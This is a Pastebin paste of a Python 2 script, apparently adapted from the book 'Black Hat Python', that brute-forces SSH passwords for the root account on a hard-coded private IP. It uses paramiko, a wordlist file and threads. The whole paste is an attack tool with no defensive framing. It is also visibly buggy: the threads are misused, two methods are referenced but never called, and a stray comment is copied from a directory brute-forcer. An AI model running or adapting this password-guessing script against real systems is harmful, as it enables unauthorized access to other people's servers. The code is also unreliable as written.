Guest User

Untitled

a guest
Apr 15th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.22 KB | None | 0 0
  1. import paramiko
  2. import sys
  3. import os
  4. import socket
  5. import threading
  6. import Queue
  7.  
  8. # From blackhat python. Need to add cli args for these:
  9. password_file = '/root/Documents/python/passwords.txt'
  10. target = '10.0.0.160'
  11. username = 'root'
  12. threads = 10
  13. resume = None
  14.  
  15. def build_passlist(password_file):
  16. #read the password file
  17. fd = open(password_file, "rb")
  18. raw_passwords = fd.readlines()
  19. fd.close()
  20.  
  21. found_resume = False
  22. passwords = Queue.Queue()
  23.  
  24. for password in raw_passwords:
  25. password = password.rstrip()
  26. if resume is not None:
  27. if found_resume:
  28. passwords.put(password)
  29.  
  30. else:
  31. if password == resume:
  32. found_resume = True
  33. print "Resuming password list from: %s" % resume
  34. else:
  35. passwords.put(password)
  36. return passwords
  37.  
  38. def sshConnection(target, username, passwords):
  39. attempt = passwords.get()
  40. attempt_list = []
  41. # check to see if there is a file extension; if not,
  42. # it's a directory path we're bruting
  43. if "." not in attempt:
  44. attempt_list.append("%s" % attempt)
  45. else:
  46. attempt_list.append("%s" % attempt)
  47.  
  48.  
  49. ssh = paramiko.SSHClient()
  50. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  51. for password in attempt_list:
  52. try:
  53. ssh.connect( target , username=username , password=password , timeout = 3)
  54. print "SUCCESS!!!!!!! This password " + password + " worked with username " + username + " on host " + target
  55. ssh.close
  56. except socket.timeout:
  57. print "Connection failed due to timeoute waiting for port 22 to reply for IP: " + target
  58. except paramiko.AuthenticationException:
  59. print "The password " + password + " did not work with username " + username + " on host " + target
  60. except paramiko.SSHException:
  61. print "Connection failed due SSH error for IP: " + target
  62. except paramiko.ssh_exception.NoValidConnectionsError:
  63. print "Connection failed because host is not listening on port 22 (reset) : " + target
  64.  
  65.  
  66. passwords = build_passlist(password_file)
  67.  
  68. for i in range(threads):
  69. t = threading.Thread(sshConnection(target, username, passwords))
  70. t.start
  71.  
  72.  
  73. #for password in passwords:
  74. # sshConnection(password)
  75.  
  76. #stdin,stdout,stderr = ssh.exec_command("ls /etc/")
  77.  
  78. #for line in stdout.readlines():
  79. # print line.strip()
  80. sys.exit()
Add Comment
Please, Sign In to add comment